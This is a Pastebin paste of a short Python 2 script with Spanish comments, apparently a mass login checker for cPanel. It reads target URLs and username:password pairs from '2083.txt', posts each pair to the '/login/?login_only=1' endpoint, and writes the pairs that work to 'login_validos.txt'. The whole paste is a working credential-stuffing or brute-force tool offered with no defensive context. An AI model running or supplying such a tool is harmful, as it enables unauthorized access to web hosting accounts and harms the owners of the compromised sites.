Advertisement
hielasangre

Untitled

Jun 18th, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3.  
  4. import os,sys,requests,re
  5. class bcolors:
  6. ENDC = '\033[0m'
  7. OKGREEN = '\033[92m'
  8. ERRO = '\033[91m'
  9. WARNING = '\033[93m'
  10. UNDERLINE = '\033[4m'
  11.  
  12. def bruteforce(target,usr,pwd):
  13. try:
  14. session = requests.Session()
  15. #get = requests.get(target)
  16. cabeceras = {
  17. "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
  18. "Content-type": "application/x-www-form-urlencoded",
  19. }
  20. post = {'user': usr,
  21. 'pass': pwd,
  22. }
  23. get2 = session.post(target+'/login/?login_only=1', data=post, headers=cabeceras, allow_redirects=True)
  24. adm = 'redirect'
  25. if adm in get2.text:
  26. print bcolors.OKGREEN + bcolors.ENDC + target.replace("\n","").replace("\r","") + bcolors.OKGREEN + " " + usr + bcolors.ENDC + ":" + bcolors.OKGREEN + pwd + bcolors.ENDC
  27. #session.cookies.clear()
  28. valid = target + ':' + usr + ':' +pwd
  29. archi=open('login_validos.txt','a')
  30. archi.write(valid+'\n')
  31. archi.close()
  32. except:
  33. pass
  34.  
  35. infile = open('2083.txt', 'r')
  36. print('>>> Lectura de los sitios linea a linea')
  37. for line in infile:
  38. parser = line.split(";")
  39. URL = parser[0]
  40. USR = parser[1]
  41. PWD = parser[2].replace("\n","")
  42. bruteforce(URL, USR, PWD)
  43. infile.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement